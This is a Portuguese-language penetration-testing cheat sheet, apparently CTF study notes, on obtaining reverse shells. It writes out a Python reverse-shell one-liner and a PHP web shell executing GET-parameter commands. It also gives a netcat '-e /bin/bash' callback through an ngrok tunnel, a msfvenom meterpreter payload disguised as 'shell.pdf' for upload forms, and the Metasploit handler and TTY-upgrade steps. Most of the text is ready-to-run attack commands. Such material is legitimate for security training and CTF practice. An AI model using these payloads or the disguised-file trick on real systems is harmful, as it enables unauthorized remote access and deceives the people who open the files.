Reverse Shell | Solyd One
- Reverse Shell | Solyd One
Cheat Sheet Reverse Sheel: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Reverse Shell Generator: https://www.revshells.com/
Ngrok é uma ferramenta excelente para não termos que abrir portas pelo roteador
Ex: ![]()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Após conseguir acesso, usar o comando de criar um bash com tty. Está documentado em linux pós exploitation
Exemplo com PHP
Resolucão CTF explicativa: 🔗 Clique aqui
- De alguma forma, caso possível criar um arquivo php dentro do servidor por meio de ssh ou smb, criar o arquivo com o seguinte comando:
<?php echo(system($_GET["cmd"]))>
A partir disso dependendo do contexto será possível acessar via url e usar da seguinte forma xxx.xxx.xx.xx/nome-arquivo?cmd=<comando>
Podemos criar uma conexão com o ngrok, segue a documentacão clicando aqui
Na url do site, adicione o comando abaixo no parâmetro:
nc <url-ngrok> <port> -e /bin/bash
A partir disso, o terminal que estava escutando a porta, irá receber a conexão e conseguimos rodar comandos por lá
Usando Ngrok
- Documentação avançada sobre NGROK: 🔗 Clique aqui
- Playlist da SolydOne - Solyd CTF 2019 - Desenvolvimento GoHorse - Flag 1: 🔗 Clique aqui
Cenário de envio de arquivo
-
Primeiro passo: abrir conexão pelo ngrok
ngrok tcp <port>- saída:

- saída:
-
Segundo passo: criar um arquivo injetável (caso haja formulário para ser enviado)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<host-forwarding-gerado-ngrok> LPORT=<host-port-gerado-ngrok> -f elf > shell.pdf -
Terceiro passo: abrir o msfconsole para abrir um shell
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST <no-forwarding-e-gerado-em-qual-ip-foi-redirecionado>
set LPORT <no-forwarding-e-gerado-em-qual-PORT-foi-redirecionado>
exploit -j
# estará rodando em background até alguém se conectar
Após receber isso
rode esse comando:
sessions -i 1
shell # abre uma shell
python -c 'import pty; pty.spawn("/bin/bash")'